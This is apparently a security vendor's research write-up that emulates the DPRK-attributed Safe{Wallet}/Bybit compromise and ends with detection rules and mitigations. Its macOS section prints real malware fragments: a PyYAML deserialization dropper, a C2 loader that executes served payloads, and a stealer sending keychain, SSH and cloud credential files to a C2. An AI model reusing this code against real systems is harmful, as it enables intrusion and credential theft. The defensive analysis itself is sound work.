Key takeaways from this research:

• PyYAML was deserialization as initial access vector
• The attack leveraged session token abuse and AWS lateral movement
• Static site supply chain tampering
• Docker-based stealth on macOS
• End-to-end detection correlation with Elastic

Introduction

On February 21, 2025, the crypto world was shaken when approximately 400,000 ETH vanished from ByBit —one of the industry’s largest cryptocurrency exchanges. Behind this incredible theft is believed to be North Korea’s elite cyber-offensive unit, referred to as TraderTraitor. Exploiting a trusted vendor relationship with Safe{Wallet}, a multisig (multi-signature) wallet platform, TraderTraitor transformed a routine transaction into a billion-dollar heist. Supply chain targeting has become a hallmark of the DPRK’s cyber strategy, underpinning the regime’s theft of more than $6 billion in cryptocurrency since 2017. In this article we’ll dissect this attack, carefully emulate its tactics within a controlled environment, and provide practical lessons to reinforce cybersecurity defenses using Elastic’s product and features.

Our emulation of this threat is based on research released by Sygnia, Mandiant/SAFE, SlowMist, and Unit42.

Chronology of events

If you're here for the technical emulation details, feel free to skip ahead. But for context— and to clarify what was officially reported— we've compiled a high-level timeline of events to ground our assumptions based on the research referenced above.

February 2, 2025 – Infrastructure Setup

The attacker registers the domain getstockprice[.]com via Namecheap. This infrastructure is later used as the C2 endpoint in the initial access payload.

February 4, 2025 – Initial Compromise

Developer1’s macOS workstation is compromised after executing a malicious Python application. This application contained Docker-related logic and referenced the attacker’s domain. The file path (~/Downloads/) and malware behavior suggest social engineering (likely via Telegram or Discord, consistent with past REF7001 and UNC4899 tradecraft).

February 5, 2025 – AWS Intrusion Begins

Attacker successfully accesses Safe{Wallet}’s AWS environment using Developer1’s active AWS session tokens.Attacker attempts (unsuccessfully) to register their own virtual MFA device to Developer1’s IAM user, indicating a persistence attempt.

February 5–17: Reconnaissance activity begins within the AWS environment. During this time, attacker actions likely included the enumeration of IAM roles, S3 buckets, and other cloud assets.

February 17, 2025 – AWS Command and Control Activity

Confirmed C2 traffic observed in AWS. This marks the shift from passive reconnaissance to active staging of the attack.

February 19, 2025 – Web Application Tampering

A snapshot of app.safe.global (Safe{Wallet}’s statically hosted Next.js web app) captured by the Wayback Machine shows the presence of malicious JavaScript. The payload was crafted to detect a Bybit multisig transaction and modify it on-the-fly, redirecting funds to the attacker’s wallet.

February 21, 2025 – Execution and Cleanup

The exploit transaction is executed against Bybit via the compromised Safe{Wallet} frontend.

A new Wayback Machine snapshot confirms the JavaScript payload has been removed—indicating the attacker manually scrubbed it post-execution.

The Bybit heist transaction is finalized. Approximately 400,000 ETH is stolen. Subsequent analysis by Sygnia and others confirms that Bybit infrastructure was not directly compromised—Safe{Wallet} was the sole point of failure.

Assumptions for emulation

• Initial Social Engineering Vector: Social engineering was employed to compromise Developer1, resulting in the execution of a malicious Python script. The exact details of the social engineering tactic (such as specific messaging, impersonation techniques, or the communication platform used) remain unknown.
• Loader and Second-Stage Payload: The malicious Python script executed a second-stage loader. It is currently unclear whether this loader and subsequent payloads match those detailed in Unit42's reporting, despite alignment in the initial access Python application's characteristics.
• Safe Application Structure and Workflow: The compromised application (app.global.safe) appears to be a Next.js application hosted statically in AWS S3. However, specific details such as its exact routes, components, development processes, version control methods, and production deployment workflow are unknown.
• JavaScript Payload Deployment: While attackers injected malicious JavaScript into the Safe{Wallet} application, it is unclear whether this involved rebuilding and redeploying the entire application or merely overwriting/modifying a specific JavaScript file.
• AWS IAM and Identity Management Details: Details regarding Developer1’s IAM permissions, roles, and policy configurations within AWS are unknown. Additionally, whether Safe{Wallet} used AWS IAM Identity Center or alternative identity management solutions remains unclear.
• AWS Session Token Retrieval and Usage: While reports confirm the attackers used temporary AWS session tokens, details about how Developer1 originally retrieved these tokens (such as through AWS SSO, GetSessionToken, or specific MFA configurations) and how they were subsequently stored or utilized (e.g., environment variables, AWS config files, custom scripts) are unknown.
• AWS Enumeration and Exploitation Techniques: The exact tools, enumeration methodologies, AWS API calls, and specific actions carried out by attackers within the AWS environment between February 5 and February 17, 2025, remain undisclosed.
• AWS Persistence Mechanisms: Although there is an indication of potential persistence within AWS infrastructure (e.g., via EC2 instance compromise), explicit details including tools, tactics, or persistence methods are not provided.

Overview of the attack

Targeting companies within the crypto ecosystem is a common occurrence. DPRK continually targets these companies due to the relative anonymity and decentralized nature of cryptocurrency, enabling the regime to evade global financial sanctions. North Korea's offensive cyber groups excel at identifying and exploiting vulnerabilities, resulting in billions of dollars in losses.

This intrusion began with the targeted compromise of a developer's MacOS workstation at Safe{Wallet}, ByBit’s trusted multi-signature wallet provider. Initial access involved social engineering, likely approaching the developer via platforms like LinkedIn, Telegram, or Discord, based on previous campaigns, and convincing them to download an archive file containing a crypto-themed Python application—an initial access procedure favored by DPRK. This Python application also included a Dockerized version of the application that could be run inside a privileged container. Unknown to the developer, this seemingly benign application enabled DPRK operators to exploit a remote code execution (RCE) vulnerability in the PyYAML library, providing code execution capabilities and subsequently control over the host system.

After gaining initial access to the developer's machine, attackers deployed MythicC2's Poseidon agent, a robust Golang-based payload offering advanced stealth and extensive post-exploitation capabilities for macOS environments. The attackers then may have conducted reconnaissance, discovering the developer's access to Safe{Wallet}’s AWS environment and the usage of temporary AWS user session tokens secured via multi-factor authentication (MFA). Armed with the developer's AWS access key ID, secret key, and temporary session token, the threat actors then authenticated into Safe{Wallet}’s AWS environment within approximately 24 hours, capitalizing on the 12-hour validity of the session tokens.

Attempting to ensure persistent access to the AWS environment, the attackers tried to register their own MFA device. However, AWS temporary session tokens do not permit IAM API calls without MFA authentication context, causing this attempt to fail. Following this minor setback, the threat actor enumerated the AWS environment, eventually discovering an S3 bucket hosting Safe{Wallet}'s static Next.js user interface.

The attackers could then have downloaded this Next.js application’s bundled code, spending nearly two weeks analyzing its functionality before injecting malicious JavaScript into the primary JS file and overwriting the legitimate version hosted in the S3 bucket. The malicious JavaScript code was activated exclusively on transactions initiated from Bybit’s cold wallet address and an attacker-controlled address. By inserting hardcoded parameters, the script circumvented transaction validation checks and digital signature verifications, effectively deceiving ByBit wallet approvers who implicitly trusted the Safe{Wallet} interface.

Shortly thereafter, the DPRK initiated a fraudulent transaction, triggering the malicious script to alter transaction details. This manipulation, likely, contributed to misleading the wallet signers into approving the illicit transfer, thereby granting DPRK operatives control of approximately 400,000 ETH. These stolen funds were then laundered into attacker-controlled wallets.

We chose to end our research and behavior emulation at the compromise of the Next.js application. Thus, we do not dive into the blockchain technologies, such as ETH smart contracts, contract addresses, and sweep ETH calls discussed in several other research publications.

Emulating the attack

To truly understand this breach we decided to emulate the entire attack chain in a controlled lab environment. As security researchers at Elastic, we wanted to walk in the footsteps of the attacker to understand how this operation unfolded at each stage: from code execution to AWS session hijacking and browser-based transaction manipulation.

This hands-on emulation served a dual purpose. First, it allowed us to analyze the attack at a granular, technical level to uncover practical detection and prevention opportunities. Second, it gave us the chance to test Elastic’s capabilities end-to-end—to see whether our platform could not only detect each phase of the attack, but also correlate them into a cohesive narrative that defenders could act on.

MacOS endpoint compromise

Thanks to Unit42’s detailed write-up—and more critically, uploading recovered samples to VirusTotal—we were able to emulate the attack end-to-end using the actual payloads observed in the wild. This included:

• PyYAML deserialization payload
• Python loader script
• Python stealer script

Malicious Python Application

The initial access Python application we used in our emulation aligns with samples highlighted and shared by SlowMist and corroborated by Mandiant's incident response findings from the SAFE developer compromise. This application also matched the directory structure of the application shown by Unit42 in their write-up. Attackers forked a legitimate stock-trading Python project from GitHub and backdoored it within a Python script named data_fetcher.py.

The application leverages Streamlit to execute app.py, which imports the script data_fetcher.py.

The data_fetcher.py script includes malicious functionality designed to reach out to an attacker-controlled domain.

The script, by default, fetches valid stock market-related data. However, based on specific conditions, the attacker-controlled server can return a malicious YAML payload instead. When evaluated using PyYAML’s unsafe loader (yaml.load()), this payload allows for arbitrary Python object deserialization, resulting in RCE.

PyYAML Deserialization Payload

(VT Hash: 47e997b85ed3f51d2b1d37a6a61ae72185d9ceaf519e2fdb53bf7e761b7bc08f)

We recreated this malicious setup by hosting the YAML deserialization payload on a Python+Flask web application, using PythonAnywhere to mimic attacker infrastructure. We updated the malicious URL in the data_fetcher.py script to point to our PythonAnywhere-hosted YAML payload.

When PyYAML loads and executes the malicious YAML payload, it performs the following actions:

First, it creates a directory named Public in the victim’s home directory.

directory = os.path.expanduser("~")
directory = os.path.join(directory, "Public")

if not os.path.exists(directory):
    os.makedirs(directory)

Next, it decodes and writes a base64-encoded Python loader script into a new file named __init__.py within the Public directory.

filePath = os.path.join(directory, "__init__.py")

with open(filePath, "wb") as f:
    f.write(base64.b64decode(b"BASE64_ENCODED_LOADER_SCRIPT"))

Finally, it executes the newly created __init__.py script silently in the background, initiating the second stage of the attack.

subprocess.Popen([sys.executable, filePath], start_new_session=True, stdout=DEVNULL, stderr=DEVNULL)

Python Loader Script

(VT Hash: 937c533bddb8bbcd908b62f2bf48e5bc11160505df20fea91d9600d999eafa79)

To avoid leaving forensic evidence, the loader first deletes its file (__init__.py) after execution, leaving it running in memory only.

directory = os.path.join(home_directory, "Public")

    if not os.path.exists(directory):
        os.makedirs(directory)

    try:
        body_path = os.path.join(directory, "__init__.py")
        os.remove(body_path)

This loader’s primary goal is to establish continuous communication with the Command-and-Control (C2) server. It gathers basic system information—like OS type, architecture, and system version—and sends these details to the C2 via an HTTP POST request to the hardcoded /club/fb/status URL endpoint.

params = {
        "system": platform.system(),
        "machine": platform.machine(),
        "version": platform.version()
    }
    while True:
        try:
            response = requests.post(url, verify=False, data = params, timeout=180)

Based on the server’s response (ret value), the loader decides its next steps.

ret == 0:

The script sleeps for 20 seconds and continues polling.

if res['ret'] == 0:
    time.sleep(20)
    continue

ret == 1:

The server response includes a payload in Base64. The script decodes this payload, and writes it to a file—named init.dll if on Windows or init otherwise—and then dynamically loads the library using ctypes.cdll.LoadLibrary, which causes the payload to run as a native binary.

elif res['ret'] == 1:
    if platform.system() == "Windows":
        body_path = os.path.join(directory, "init.dll")
    else:
        body_path = os.path.join(directory, "init")
        with open(body_path, "wb") as f:
            binData = base64.b64decode(res["content"])
            f.write(binData)
            os.environ["X_DATABASE_NAME"] = ""
            ctypes.cdll.LoadLibrary(body_path)

ret == 2:

The script decodes the Base64 content into Python source code and then executes it using Python’s exec() function. This allows for running arbitrary Python code.

elif res['ret'] == 2:
    srcData = base64.b64decode(res["content"])
    exec(srcData)

ret == 3:

The script decodes a binary payload (dockerd) and a binary configuration file (docker-init) into two separate files, sets their permissions to be executable, and then attempts to run them as a new process, supplying the config file as an argument to the binary payload. After execution of the binary payload, it deletes its executable file, leaving the config file on disk for reference.

elif res['ret'] == 3:
    path1 = os.path.join(directory, "dockerd")
    with open(path1, "wb") as f:
        binData = base64.b64decode(res["content"])
        f.write(binData)

    path2 = os.path.join(directory, "docker-init")
    with open(path2, "wb") as f:
        binData = base64.b64decode(res["param"])
        f.write(binData)

    os.chmod(path1, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    os.chmod(path2, stat.S_IRUSR | stat.S_IWUSR | stat.S_IXUSR |
                    stat.S_IRGRP | stat.S_IXGRP |
                    stat.S_IROTH | stat.S_IXOTH)

    try:
        process = subprocess.Popen([path1, path2], start_new_session=True)
        process.communicate()
        return_code = process.returncode
        requests.post(SERVER_URL + '/club/fb/result', verify=False, data={"result": str(return_code)})
    except:
        pass

    os.remove(path1)

ret == 9:

The script breaks out of its polling loop, terminating further actions.

elif res['ret'] == 9:
    break

After processing any command, the script continues to poll for further instructions from the C2 server.

Python Loader Emulation

Our goal was to test each of the command options within the loader to better understand what was happening, collect relevant telemetry data, and analyze it for the purpose of building robust detections for both our endpoint and the SIEM.

Ret == 1: Write Library to Disk, Load and Delete Dylib

The payload we used for this option was a Poseidon payload compiled as a shared library (.dylib).

We then base64-encoded the binary and were able to hardcode the path to that base64-encoded payload in our C2 server to be served when testing this specific loader command.

base64 poseidon.dylib > poseidon.b64

BINARY_PAYLOAD_B64 = "BASE64_ENCODED_DYLIB_PAYLOAD"  # For ret==1
STEALER_PAYLOAD_B64 = "BASE64_ENCODED_STEALER_SCRIPT" # For ret==2
MULTI_STAGE_PAYLOAD_B64 = "BASE64_ENCODED_MULTISTAGE_PAYLOAD" # For ret==3
# For testing we simulate a command to send.
# Options: 0, 1, 2, 3, 9.
# 0: Idle (sleep); 1: Execute native binary; 2: Execute Python code; 3: Execute multi-stage payload; 9: Terminate.
COMMAND_TO_SEND = 1   # Change this value to test different actions

Once we received our Poseidon payload callback to our Mythic C2 we were able to retrieve credentials using a variety of different methods provided by Poseidon.

Option 1: download command - Access file, reads content, sends data back to C2.
Option 2: getenv command - Read user environment variables and send content back to C2.
Option 3: jsimport & jsimport_call commands - Import JXA script into memory then call a method within the JXA script to retrieve credentials from file and return contents.

Ret == 2: Receive and Execute arbitrary Python code within Process Memory

(VT Hash: e89bf606fbed8f68127934758726bbb5e68e751427f3bcad3ddf883cb2b50fc7)

The loader script allows for the running of arbitrary Python code or scripts, in memory. In Unit42’s blog they provided a Python script they observed the DPRK executing via this return value. This script collects a vast amount of data. This data is XOR encoded and sent back to the C2 server via a POST request. For the emulation all that was needed was to add our C2 URL with the appropriate route as defined in our C2 server and base64 encode the script hardcoding its path within our server for when this option was tested.

def get_info():
    global id
    id = base64.b64encode(os.urandom(16)).decode('utf-8')
    
    # get xor key
    while True:
        if not get_key():
            break

        base_info()
        send_directory('home/all', '', home_dir)
        send_file('keychain', os.path.join(home_dir, 'Library', 'Keychains', 'login.keychain-db'))
        send_directory('home/ssh', 'ssh', os.path.join(home_dir, '.ssh'), True)
        send_directory('home/aws', 'aws', os.path.join(home_dir, '.aws'), True)
        send_directory('home/kube', 'kube', os.path.join(home_dir, '.kube'), True)
        send_directory('home/gcloud', 'gcloud', os.path.join(home_dir, '.config', 'gcloud'), True)
        finalize()
        break

Ret == 3: Write Binary Payload and Binary Config to Disk, Execute Payload and Delete File

For ret == 3 we used a standard Poseidon binary payload and a “configuration file” containing binary data as specified in the loader script. We then base64 encoded both the binary and config file like the ret == 1 option above and hardcoded their paths in our C2 server for serving when testing this command. Same as the ret == 1 option above we were able to use those same commands to collect credentials from the target system.

C2 Infrastructure

We created a very simple and small C2 server, built with Python+Flask, intended to listen with a specified port on our Kali Linux VM and evaluate incoming requests, responding appropriately based on the route and return value we wished to test.

We also used the open source Mythic C2 in order to facilitate the creation and management of the Poseidon payloads we used. Mythic is an open source C2 framework created and maintained by Cody Thomas at SpecterOps.

Malicious Python Application: Docker Version

We also explored a Dockerized variant of the malicious Python application. This version was packaged in a minimal Python Docker container (python:3.12.2-slim) running in privileged mode, granting it the ability to access host resources.

A containerized application creates a telemetry and detection blind spot on macOS because Apple's Endpoint Security Framework (ESF) lacks the ability to introspect containerized processes. While ESF and endpoint detection solutions can still observe the trusted Docker process accessing sensitive host files—such as SSH keys, AWS credentials, or user configuration data—these actions commonly align with standard developer workflows. As a result, security tools are less likely to scrutinize or trigger alerts on containerized activities, offering attackers increased stealth when operating from within Docker environments.

This highlights the necessity for additional monitoring like OSQuery and Docker log file collection to complement standard macOS endpoint defenses. Elastic offers both OSQuery and Docker log file collection via our data integrations for Elastic Agent alongside our Endpoint protection features.

MacOS Emulation Conclusion

Our emulation recreated the attack against the SAFE developers’ macOS system end-to-end using the real world payloads.

Malicious Python App:

We began by replicating the malicious Python application described in both Mandiant’s findings and Unit42’s report. The attackers had forked a legitimate open-source application and embedded RCE access within data_fetcher.py. This script made outbound requests to an attacker-controlled server and conditionally fetched a malicious YAML file. Using PyYAML’s yaml.load() with an unsafe loader, the attacker triggered arbitrary code execution via deserialization.

PyYAML Payload Deserialization resulting in Python Loader Script Execution:

The YAML payload wrote a base64-encoded second-stage loader to ~/Public/__init__.py and executed it in a detached process. We mimicked this exact flow using a Flask-based staging server hosted on PythonAnywhere.

Python Loader Execution & C2 Interaction:

Once launched, the loader deleted its on disk file and beaconed to our emulated C2, awaited tasking. Based on the C2’s response code (ret), we tested the following actions:

• ret == 1: The loader decoded a Poseidon payload (compiled as a .dylib) and executed it using ctypes.cdll.LoadLibrary(), resulting in native code execution from disk.
• ret == 2: The loader executed an in-memory Python stealer, matching the script shared by Unit42. This script collected system, user, browser, and credential data and exfiltrated it via XOR-encoded POST requests.
• ret == 3: The loader wrote a Poseidon binary and a separate binary configuration file to disk, executed the binary with the config as an argument, then deleted the payload.
• ret == 9: The loader terminated its polling loop.

Data Collection: Pre-Pivot Recon & Credential Access:

During our ret == 2 test, the Python stealer gathered:

• macOS system information (platform, os, user)
• Chrome user data (Bookmarks, Cookies, Login Data, etc.)
• SSH private keys (~/.ssh)
• AWS credentials (~/.aws/credentials)
• macOS Keychain files (login.keychain-db)
• GCP/Kube config files from .config/

This emulates the pre-pivot data collection that preceded cloud exploitation, and reflects how DPRK actors harvested AWS credentials from the developer’s local environment.

With valid AWS credentials, the threat actors then pivoted into the cloud environment, launching the second phase of this intrusion.

AWS cloud compromise

Pre-requisities and Setup

To emulate the AWS stage of this attack, we first leveraged Terraform to stand up the necessary infrastructure. This included creating an IAM user (developer) with an overly permissive IAM policy granting access to S3, IAM, and STS APIs. We then pushed a locally built Next.js application to an S3 bucket and confirmed the site was live, simulating a simple Safe{Wallet} frontend.

Our choice of Next.js was predicated on the original S3 bucket static site path - https://app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47.js

Before injecting any malicious code, we verified the integrity of the site by performing a test transaction using a known target wallet address to ensure the application responded as expected.

Temporary Session Token Retrieval

Following the initial access and post-compromise activity on the developer’s macOS workstation, early assumptions focused on the adversary retrieving credentials from default AWS configuration locations - such as ~/.aws or from user environment variables. It was later confirmed by Unit42’s blog that the Python stealer script targeted AWS files. These locations often store long-term IAM credentials or temporary session tokens used in standard development workflows. Based on public reporting, however, this specific compromise involved AWS user session tokens, not long-term IAM credentials. In our emulation, as the developer we added our virtual MFA device to our IAM user, enabled it and then retrieved our user session token and exported the credentials to our environment. Note that on our Kali Linux endpoint, we leveraged ExpressVPN - as done by the adversaries - for any AWS API calls or interactions with the developer box.

It is suspected that the developer obtained temporary AWS credentials either by the GetSessionToken API operation or by logging in via AWS Single Sign-On (SSO) using the AWS CLI. Both methods result in short-lived credentials being cached locally and usable for CLI or SDK-based interactions. These temporary credentials were then likely cached in the ~/.aws files or exported as environment variables on the macOS system.

In the GetSessionToken scenario, the developer would have executed a command as such:

aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE"  --duration-seconds 43200 --profile "$AWS_PROFILE" --output json

In the SSO-based authentication scenario, the developer may have run:

aws configure sso 
aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"`

Either method results in temporary credentials (access key, secret and session token) being saved in ~/.aws files and made available to the configured AWS profile. These credentials are then used automatically by tools like the AWS CLI or SDKs like Boto3 unless overridden. In either case, if malware or an adversary had access to the developer’s macOS system, these credentials could have been easily harvested from the environment variables, AWS config cache or credentials file.

To obtain these credentials for Developer1 were created a custom script for quick automation. It created a virtual MFA device in AWS, registered the device with our Developer1 user, then called GetSessionToken from STS - adding the returned temporary user session credentials to our macOS endpoint as environment variables as shown below.

MFA Device Registration Attempts

One key assumption here is that the developer was working with a user session that had MFA enabled, either for direct use or to assume a custom-managed IAM role. Our assumption derives from the credential material compromised - AWS temporary user session tokens, which are not obtained from the console but rather requested on demand from STS. Temporary credentials returned from GetSessionToken or SSO by default expire after a certain number of hours, and a session token with the ASIA* prefix would suggest that the adversary harvested a short-lived but high-impact credential. This aligns with behaviors seen in previous DPRK-attributed attacks where credentials and configurations for Kubernetes, GCP, and AWS were extracted and reused.

Assuming the Compromised Identity on Kali

Once the AWS session token was collected, the adversary likely stored it on their Kali Linux system either in the standard AWS credential locations (e.g., ~/.aws/credentials or as environment variables) or potentially in a custom file structure, depending on tooling in use. While the AWS CLI defaults to reading from ~/.aws/credentials and environment variables, a Python script leveraging Boto3 could be configured to source credentials from nearly any file or path. Given the speed and precision of the post-compromise activity, it is plausible that the attacker used either the AWS CLI, direct Boto3 SDK calls, or shell scripts wrapping CLI commands - all of which offer convenience and built-in request signing.

What seems less likely is that the attacker manually signed AWS API requests using SigV4, as this would be unnecessarily slow and operationally complex. It’s also important to note that no public blog has disclosed which user agent string was associated with the session token usage (e.g. aws-cli, botocore, etc.), which leaves uncertainty around the attacker’s exact tools. That said, given DRPK’s established reliance on Python and the speed of the attack, CLI or SDK usage remains the most reasonable assumption.

Note: We did this in emulation with our Poseidon payload prior to Unit 42’s blog about the RN Loader capabilities.

It’s important to clarify a nuance about the AWS authentication model: using a session token does not inherently block access to IAM API actions - even actions like CreateVirtualMFADevice - as long as the session was initially established with MFA. In our emulation, we attempted to replicate this behavior using a stolen session token that had MFA context. Interestingly, our attempts to register an additional MFA device failed, suggesting that there may be additional safeguards, such as explicit policy constraints, that prevent MFA registration via session tokens or the details of this behavior are still too vague and we incorrectly mimicked the behavior. While the exact failure reason remains unclear, this behavior warrants deeper investigation into the IAM policies and authentication context associated with session-bound actions.

S3 Asset Enumeration

After credential acquisition, the attacker likely enumerated accessible AWS services. In this case, Amazon S3 was a clear target. The attacker would have listed buckets available to the compromised identity across all regions and located a public-facing bucket associated with Safe{Wallet}, which hosted the frontend Next.js application for transaction processing.

We assume the attacker was aware of the S3 bucket due to its role in serving content for app.safe[.]global, meaning the bucket's structure and assets could be publicly browsed or downloaded without authentication. In our emulation, we validated similar behavior by syncing assets from a public S3 bucket used for static site hosting.

Next.js App Overwrite with Malicious Code

After discovering the bucket, the attacker likely used the aws s3 sync command to download the entire contents, which included the bundled frontend JavaScript assets. Between February 5 and February 19, 2025, they appeared to focus on modifying these assets - specifically, files like main.<HASH>.js and related routes, which are output by Next.js during its build process and stored under the _next/static/chunks/pages/ directory. These bundled files contain the transpiled application logic, and according to Sygnia's forensic report, a file named _app-52c9031bfa03da47.js was the primary injection point for the malicious code.

Next.js applications, when built, typically store their statically generated assets under the next/static/ directory, with JavaScript chunks organized into folders like /chunks/pages/. In this case, the adversary likely formatted and deobfuscated the JavaScript bundle to understand its structure, then reverse engineered the application logic. After identifying the code responsible for handling user-entered wallet addresses, they injected their payload. This payload introduced conditional logic: if the entered wallet address matched one of several known target addresses, it would silently replace the destination with a DPRK-controlled address, redirecting funds without the user becoming aware.

In our emulation, we replicated this behavior by modifying the TransactionForm.js component to check if the entered recipient address matched specific values. If so, the address was replaced with an attacker-controlled wallet. While this does not reflect the complexity of actual smart contract manipulation or delegate calls used in the real-world attack, it serves as conceptual behavior to illustrate how a compromised frontend could silently redirect cryptocurrency transactions.

Static Site Tampering Implications and Missing Security Controls

This type of frontend tampering is especially dangerous in Web3 environments, where decentralized applications (dApps) often rely on static, client-side logic to process transactions. By modifying the JavaScript bundle served from the S3 bucket, the attacker was able to subvert the application’s behavior without needing to breach backend APIs or smart contract logic.

We assume that protections such as S3 Object Lock, Content-Security-Policy (CSP), or Subresource Integrity (SRI) headers were either not in use or not enforced during the time of compromise. The absence of these controls would have allowed an attacker to modify static frontend code without triggering browser or backend integrity validation, making such tampering significantly easier to carry out undetected.

Lessons in defense

A successful emulation—or real-world incident response—doesn’t end with identifying attacker behaviors. It continues with reinforcing defenses to prevent similar techniques from succeeding again. Below, we outline key detections, security controls, mitigation strategies, and Elastic features that can help reduce risk and limit exposure to the tactics used in this emulation and in-the-wild (ItW) campaigns like the Safe{Wallet} compromise.

Note: These detections are actively maintained and regularly tuned, and may evolve over time. Depending on your environment, additional tuning may be required to minimize false positives and reduce noise.

Elastic’s SIEM detection and endpoint prevention rules

Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time.

Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time.

MacOS Endpoint Behavior Prevention Rules

Python PyYAML Deserialization Payload

Rule Name: “Python Script Drop and Execute”: Detects when a Python script gets created or modified followed immediately by the execution of that script by the same Python process.

Python Loader Script

Rule Name: “Self-Deleting Python Script”: Detects when a Python script executes and that script file is immediately deleted by the same Python process.

Rule Name: “Self-Deleted Python Script Outbound Connection”: Detects when a Python script gets deleted and an outbound network connection occurs shortly after by the same Python process.

Python Loader Script Ret == 1

Rule Name: “Suspicious Executable File Creation via Python”: Detects when an executable file gets created or modified by Python in suspicious or unusual directories.

Rule Name: “Python Library Load and Delete”: Detects when a shared library, located within the users home directory, gets loaded by Python followed by the deletion of the library shortly after by the same Python process.

Rule Name: “Unusual Library Load via Python”: Detects when a shared library gets loaded by Python that does not denote itself as a .dylib or .so file and is located within the users home directory.

Rule Name: “In-Memory JXA Execution via ScriptingAdditions”: Detects the in-memory load and execution of a JXA script.

Python Loader Script Ret == 2

Rule Name: “Potential Python Stealer”: Detects when a Python script gets executed followed shortly after by at least three attempts to access sensitive files by the same Python process.

Rule Name: “Self-Deleted Python Script Accessing Sensitive Files”: Detects when a Python script gets deleted and sensitive files are accessed shortly after by the same Python process.

Python Loader Script Ret == 3

Rule Name: “Unsigned or Untrusted Binary Execution via Python”: Detects when an unsigned or untrusted binary gets executed by Python where the executable is located within a suspicious directory.

Rule Name: “Unsigned or Untrusted Binary Fork via Python”: Detects when an unsigned or untrusted binary gets fork exec’d by Python where the process argument is the path to a file within the users home directory.

Rule Name: “Cloud Credential Files Accessed by Process in Suspicious Directory”: Detects when cloud credentials are accessed by a process running from a suspicious directory.

SIEM Detections for AWS CloudTrail Logs

Rule Name: “STS Temporary IAM Session Token Used from Multiple Addresses”: Detects AWS IAM session tokens (e.g. ASIA*) being used from multiple source IP addresses in a short timeframe, which may indicate credential theft and reuse from adversary infrastructure.

Rule Name: “IAM Attempt to Register Virtual MFA Device with Temporary Credentials”: Detects attempts to call CreateVirtualMFADevice or EnableMFADevice with AWS session tokens. This may reflect an attempt to establish persistent access using hijacked short-term credentials.

Rule Name: “API Calls to IAM via Temporary Session Tokens”: Detects use of sensitive iam.amazonaws.com API operations by a principal using temporary credentials (e.g. session tokens with ASIA* prefix). These operations typically require MFA or should only be performed via the AWS console or federated users. Not CLI or automation tokens.

Rule Name: “S3 Static Site JavaScript File Uploaded via PutObject”: Identifies attempts by IAM users to upload or modify JavaScript files in the static/js/ directory of an S3 bucket, which can signal frontend tampering (e.g. injection of malicious code)

Rule Name: “AWS CLI with Kali Linux Fingerprint Identified”: Detects AWS API calls made from a system using Kali Linux, as indicated by the user_agent.original string. This may reflect attacker infrastructure or unauthorized access from red team tooling.

Rule Name: “S3 Excessive or Suspicious GetObject Events”: Detects a high volume of S3 GetObject actions by the same IAM user or session within a short time window. This may indicate S3 data exfiltration using tools like AWS CLI command sync - particularly targeting static site files or frontend bundles. Note, this is a hunting query and should be adjusted accordingly.

SIEM Detections for Docker Abuse

Rule Name: “Sensitive File Access via Docker”: Detects when Docker accesses sensitive host files (“ssh”, “aws”, “gcloud”, “azure”, “web browser”, “crypto wallet files”).

Rule Name: “Suspicious Executable File Modification via Docker”: Detects when Docker creates or modifies an executable file within a suspicious or unusual directory.

If your macOS agent policy includes the Docker data integration, you can collect valuable telemetry that helps surface malicious container activity on user systems. In our emulation, this integration allowed us to ingest Docker logs (into the metrics index), which we then used to build a detection rule capable of identifying indicators of compromise and suspicious container executions associated with the malicious application.

Mitigations

Social Engineering

Social engineering plays a major role in many intrusions, but especially with the DPRK. They are highly adept at targeting and approaching their victims utilizing trusted public platforms like LinkedIn, Telegram, X or Discord to initiate contact and appear legitimate. Many of their social engineering campaigns attempt to convince the user to download and execute some kind of project, application or script whether it be out of necessity (job application), distress (debugging assistance) etc.. Mitigation of targeting that leverage social engineering is difficult and takes a concerted effort by a company to ensure their employees are regularly trained to recognize these attempts, applying the proper skepticism and caution when engaging outside entities and even the open source communities.

• User Awareness Training
• Manual Static Code Review
• Static Code and Dependency Scanning

Bandit (GitHub - PyCQA/bandit: Bandit is a tool designed to find common security issues in Python code.) is a great example of an open source tool a developer could use to scan the Python application and its scripts prior to execution in order to surface common Python security vulnerabilities or dangerous issues that may be present in the code.

Application and Device Management

Application controls via a device management solution or a binary authorization framework like the open source tool Santa (GitHub - northpolesec/santa: A binary and file access authorization system for macOS.) could have been used to enforce notarization and block execution from suspicious paths. This would have prevented the execution of the Poseidon payload dropped to the system for persistence, and could have prevented access to sensitive files.

EDR/XDR

To effectively defend against nation-state threats—and the many other attacks targeting macOS—it's critical to have an EDR solution in place that provides rich telemetry and correlation capabilities to detect and prevent script-based attacks. Taking it a step further, an EDR platform like Elastic allows you to ingest AWS logs alongside endpoint data, enabling unified alerting and visibility through a single pane of glass. When combined with AI-powered correlation, this approach can surface cohesive attack narratives, significantly accelerating response and improving your ability to act quickly if such an attack occurs.

AWS Credential Exposure and Session Token Hardening

In this attack, the adversary leveraged a stolen AWS user session token (with the ASIA* prefix), which had been issued via the GetSessionToken API using MFA. These credentials were likely retrieved from the macOS developer environment — either from exported environment variables or default AWS config paths (e.g., ~/.aws/credentials).

To mitigate this type of access, organizations can implement the following defensive strategies:

1. Reduce Session Token Lifetimes and Move Away from IAM Users: Avoid issuing long-lived session tokens to IAM users. Instead, enforce short token durations (e.g., 1 hour or less) and adopt AWS SSO (IAM Identity Center) for all human users. This makes session tokens ephemeral, auditable, and tied to identity federation. Disabling sts:GetSessionToken permissions for IAM users altogether is the strongest approach, and IAM Identity Center allows this transition.
2. Enforce Session Context Restrictions for IAM API Usage: Implement IAM policy condition blocks that explicitly deny sensitive IAM operations, such as iam:CreateVirtualMFADevice or iam:AttachUserPolicy, if the request is made using temporary credentials. This ensures that session-based keys, such as those used in the attack, cannot escalate privileges or modify identity constructs.
